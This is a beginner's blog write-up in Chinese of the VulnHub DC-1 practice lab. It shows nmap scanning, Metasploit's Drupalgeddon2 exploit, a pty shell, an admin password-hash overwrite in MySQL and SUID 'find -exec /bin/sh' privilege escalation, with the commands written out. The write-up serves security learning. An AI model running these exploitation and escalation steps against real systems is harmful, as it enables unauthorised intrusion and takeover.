freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试初体验:DC-1靶场
2022-08-07 21:43:30
所属地 江苏省

渗透测试初体验:DC-1靶场

一、环境准备

攻击机:kali,kali是我几年前安装的,当时想着学习一下kali系统的使用,可是后来转向白盒代码审计了,也就一直搁浅,因为渗透的话需要使用到nmap,metaploit等工具,kali系统里面全部都集成了,省的再重新安装,因此如果没有安装kali系统的可能需要自己去百度一下如何安装以及如何配置,更新源和输入法等等

1659878602_62efbcca3af7850b77540.png!small?1659878602377

1659878618_62efbcdaae7a1b3ba80a6.png!small?1659878618893

1659878643_62efbcf384f5812d6eae6.png!small?1659878643534

靶机:首先下载DC-1靶场,并在虚拟机中进行安装,安装的时候会提示有风险,不需要管, 直接下一步,强制安装就可以了

https://www.vulnhub.com/entry/dc-1,292/

1659878672_62efbd1072284f1f09993.png!small?1659878672374

2.1、对虚拟机进行相关的配置

1659878719_62efbd3f322822c4d7e4d.png!small?1659878719483

安装完成之后的页面,当时安装完成之后需要输入用户名和密码,捣鼓了半天,我也没找到哪边有显示用户名和密码,后来百度了一下发现,不需要进去,出现如下的页面就表明靶机已经安装完成了,正常渗透就行

1659878792_62efbd88964144482f376.png!small?1659878792465

这边遇到了一个问题,由于一开始我的攻击机使用的是桥接的模式,靶机使用的是NAT模式,就会导致两者不在同一个网段,需要都修改成NAT模式,才能保证在同一个网段,但是我把kali修改成NAT之后,奇怪的事情发生了,使用ip addr命令,无法显示IP地址,后来百度了一下,在编辑-虚拟网络编辑器-还原默认设置,之后重新启动攻击机和靶机,这样就可以了


1659878876_62efbddc96505e0171160.png!small?16598788765971659878861_62efbdcd9ab9503903c27.png!small?1659878861792

二、信息收集

由于是第一次进行渗透,主要还是参考前辈们的文章,再结合自己的理解,熟悉一下攻击流程

1、使用Nmap工具对网段进行扫描

使用如下nmap命令先对192.168.40网段进行扫描,先找到靶机的IP地址

nmap 192.168.40.0/24

1659878919_62efbe079a5f536a740cc.png!small?1659878919929

由上图就可以初步判断出靶机的IP为192.168.40.128,直接尝试登陆一下,看看对不对

1659878930_62efbe120d2a626d5a273.png!small?1659878929920

可以看到确实是这个IP,然后页面上面显示powered by Drupal,这个应该是个框架,百度一下看看,发现是一个基于PHP的内容管理系统,那么就可能会存在漏洞,可以使用MSF攻击一下

1659878967_62efbe3741f0f145de130.png!small?1659878967205

1659878962_62efbe320e4024e78892a.png!small?1659878962298

使用Nmap进行一下加强扫描,可以得到一些比较详细的信息

nmap -sS -sV -sC –O 192.168.40.128

1659878976_62efbe40b53815b6c2d57.png!small?1659878977157

可以看到使用的Drupal7版本

使用dirb目录扫描工具进行进一步的信息探测

1659879047_62efbe873d1fdf5ddb174.png!small?1659879047198

Robots.txt是开放的,里面感觉也没啥重要的信息

目录扫描可以看到,都是403,无权限访问的页面,200都是不需要登录就可以访问的权限

1659879058_62efbe923f93f78b674ed.png!small?1659879059322

1659879100_62efbebced50ebe7af53b.png!small?1659879100818

既然有登录页面,那么看一下可不可以进行暴力破解以及重置密码等漏洞

1659879112_62efbec89c6a1d2533d8c.png!small?1659879112588

输入错的密码看看报错,提示的是用户名或者密码错误,无法猜解用户名

1659879133_62efbedd37d7dca9ce9c2.png!small?1659879133087

看看有没有锁定机制或者验证码机制,密码输错五次之后会进行锁定,那么就没法进行暴力破解

1659879164_62efbefcc288144efad7c.png!small?1659879164668

看看重置密码有没有问题,重置的话需要邮箱,并且是邮箱发送新密码

1659879172_62efbf04946c1f633aece.png!small?1659879172474

那就没辙了,只能进入数据库里面去找用户名和密码了。

顺便注册个新账号,看看里面都是啥,注册的话还需要管理员进行审批,那么就意味着普通账号也获取不到,不能利用越权的方式来获取更多信息

1659879197_62efbf1d7807fff41a55c.png!small?1659879197431

总结一下,通过上面的信息收集,我们知道了使用的框架版本Drupal7,使用的是mysql数据库,那么就从框架出手,用一下MSF,看看有没有漏洞可以利用

三、漏洞扫描及利用

1、打开msf控制台

msfconsole

1659879211_62efbf2bc174db913d1d3.png!small?1659879211910

2、搜索Drupal的相关漏洞

search Drupal

1659879230_62efbf3e5ebc35ef3951c.png!small?1659879230555

可以看到有7个相关的漏洞,rank选择excellent,check选择yes,然后日期最新的,那么第四个可以使用

3、选择漏洞进行使用

msf5 > use 4

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

1659879240_62efbf48f23a50996e2e1.png!small?1659879240983

只要配置了rhosts为靶机IP即可使用exploit,命令行先后键入

msf5 > set rhosts 192.168.40.128

msf5 > exploit

1659879264_62efbf603675715076bbf.png!small?1659879264120

exploit执行,意外发现可以直接建立起一个session(如果没建立起session,可以先尝试其他的exploit,若全部无法建立session再做考虑):

当然了,我这个是因为知道第四个是可以建立攻击成功的,如果在不知道的情况下,那就只能挨个进行尝试了,建立了一个session连接,就意味着我们已经获得了一个shell

Meterpreter也有自己一套独特的命令,有需要的可以自己去学习一下

查看获取的shell的权限

1659879284_62efbf7477076b2e503fb.png!small?1659879285121

四、找flag(提权和横向渗透)

作者其实在说明里面就说了,最终目标是获取root权限,为此他设置了5个flag,给初学者以引导,当然大神也可以无视这5个flag,直接提升root权限。那么接下来我们跟着这5个flag来学习一下,怎么获取root权限

Flag1:

这个我上面的截图里面已经看到了

1659879310_62efbf8e4a909313c412a.png!small?1659879310440

1659879315_62efbf93a2cebb3a51377.png!small?1659879315562

提示我们要去找CMS的配置文件

同时发现之前页面可以访问的robots.txt文件在这里,那么其实flag1的话页面也是可以访问的dirb目录遍历应该是可以遍历出来的

1659879335_62efbfa79cb6007f446ae.png!small?1659879335517

Flag2:

根据上面的提示,去翻目录

1659879343_62efbfafb37beeb0fa199.png!small?1659879343869

在/var/www/sites/default/settings.php drupal的配置文件中获取到 flag2

暴力破解和目录攻击不是唯一的方式获取登录的权限,那么就只能去数据库里面查找对应的用户名和密码了。

1659879363_62efbfc3c347747921d37.png!small?1659879363703

$drupal_hash_salt = 'X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs';

$databases = array (

'default' =>

array (

'default' =>

array (

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

'host' => 'localhost',

'port' => '',

'driver' => 'mysql',

'prefix' => '',

),

),

);

Flag3:

输入 python 命令,获取交互式 shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'


1659879385_62efbfd9573d16e4b86f1.png!small?16598793852001659879373_62efbfcdf421d56c7437e.png!small?1659879373861

可以看到有mysql的进程,直接输入命令进入数据库

1659879409_62efbff1923cbcc14330f.png!small?1659879409714

成功进入数据库,找到对应的库

1659879416_62efbff83263730be743e.png!small?1659879416163

可以看到有一堆表,直接找我们感兴趣的用户名和密码表,可以看到有三个用户,密码是进行了哈希操作的,这个想破解的话,看起来是比较难的,前面在页面也试了,页面有防暴力破解的机制,无法使用burpsuite进行暴力破解。

1659879453_62efc01d6ad404a740b26.png!small?1659879453357

那么只要我们自己新建一个密码,进行同样的哈希,再进行替换就可以了,全局搜一下看看有没有相关的哈希算法。

1659879460_62efc024aada4288686df.png!small?1659879461201

发现有个password-hash.sh脚本

直接使用如下命令,设置新密码为123456

/var/www/scripts/password-hash.sh 123456

1659879476_62efc03404d7428083483.png!small?1659879475888

$S$DVk4bo8B2BWVB3QIsLbQ9.89rC29O0mZwWAV/bRpT59H/O1MutvG

然后重新进入数据库,替换对应的admin的密码

update users set pass="$S$DVk4bo8B2BWVB3QIsLbQ9.89rC29O0mZwWAV/bRpT59H/O1MutvG" where name="admin";

1659879481_62efc039f38c83d85d8ca.png!small?1659879481886

1659879494_62efc046d0e57849ecc13.png!small?1659879494775

这就已经修改成功了

Flag3:

这个时候我们已经知道了管理员的用户名和密码

admin:123456

登录进去看看flag3在哪里,登录之后就可以看到flag3

1659879502_62efc04e613d742fe5403.png!small?1659879502284

Flag4:

按照flag3的意思,应该是有个隐藏的用户

1659879512_62efc058c9f0a602832d7.png!small?1659879512952

可以看到有个flag4用户,而且目录是/home/flag4

看一下

1659879523_62efc063f1a0929f0a959.png!small?1659879523889

提示是使用find 命令

Flag5:

根据之前flag4得到的提醒,最终的flag在root目录下,而要进入root目录,显而易见地需要进行提权。

提示可以使用存在root权限的命令来进行提权

概念:SUID是一种Linux的权限机制,指某可执行程序在执行时将会使调用者暂时得到被执行程序的权限,如果被执行程序可以执行脚本或指令的话,就可以利用这个脚本或指令进行提权。

典型例子:

Nmap

Vim

find

Bash

More

Less

Nano

Cp

find / -user root -perm -4000 -print 2>/dev/null

1659879531_62efc06bc8b2960329598.png!small?1659879531955

有个/usr/bin/find/,那么就可以尝试使用find指令进行提权

发现原理:find指令可以有一个-exec的输入,可以执行一条指令或是一个脚本。若find是root权限,那么这条指令或脚本将以root权限执行

通用的方式如下:

find [文件名] -exec [想执行的命令] \;

注意只有当[文件名]对应的文件存在时,之后的命令才会执行。

创建一个test.txt

1659879546_62efc07a8cd202e278fe0.png!small?1659879546665

然后执行find命令

find test.txt -exec "/bin/sh" \;

1659879552_62efc0804be4b2aac4a6e.png!small?1659879552155

1659879580_62efc09cb05d9c340ee42.png!small?1659879580699

发现提权成功,然后去root目录下就可以获取到最终的flag。

到此算是完成了五个flag的获取,但是在执行的过程中,如下问题需要整明白

四、遗留问题(后续学习后更新)

1、如下获取交互式shell的命令如何使用?

输入 python 命令,获取交互式 shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'

2、suid提权的使用,及如下命令的使用?

find / -user root -perm -4000 -print 2>/dev/null

3、为何此处要执行/bin/sh

find test.txt -exec "/bin/sh" \;

参考文章:

https://www.freebuf.com/articles/web/339148.html

https://www.freebuf.com/articles/web/260236.html

https://www.freebuf.com/sectool/253327.html

# 渗透测试 # web安全 # 数据安全 # CTF # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录